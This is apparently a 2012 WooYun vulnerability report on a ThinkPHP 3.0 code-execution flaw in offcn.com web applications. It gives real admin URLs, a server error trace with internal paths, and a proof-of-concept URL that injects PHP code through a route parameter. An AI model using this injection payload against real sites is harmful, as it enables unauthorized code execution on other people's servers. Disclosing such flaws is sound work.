漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2012-12-21： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-02-04： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
如题
详细说明：
http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/c_category_edit/id/499/
http://slyj.offcn.com/slpgadmin/index.php?s=/Learn/
http://zw.offcn.com/index.php/module/action/param1/$%7B@print(THINK_VERSION)%7D
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php (159) App::exec()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\Think.class.php (47) App::run()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php (237) Think::Start()
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php (34) require(F:\web\zhiwei.offcn.com\ThinkPHP\Common\runtime.php)
[12-12-21 01:18:12] F:\web\zhiwei.offcn.com\zw.offcn.com\index.php (18) require(F:\web\zhiwei.offcn.com\ThinkPHP\ThinkPHP.php)
错误位置: FILE: F:\web\zhiwei.offcn.com\ThinkPHP\Lib\Core\App.class.php LINE: 159
ThinkPHP 3.0
漏洞证明：
<img src="/upl
oad/201212/21013047bf385b3d1bcce36f12092d4eb0dcf32e.jpg" alt="1.jpg" />
THINKPHP3.0 你懂的
修复方案：
moro@ngsst.com
版权声明：转载请注明来源 moro@乌云
>
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝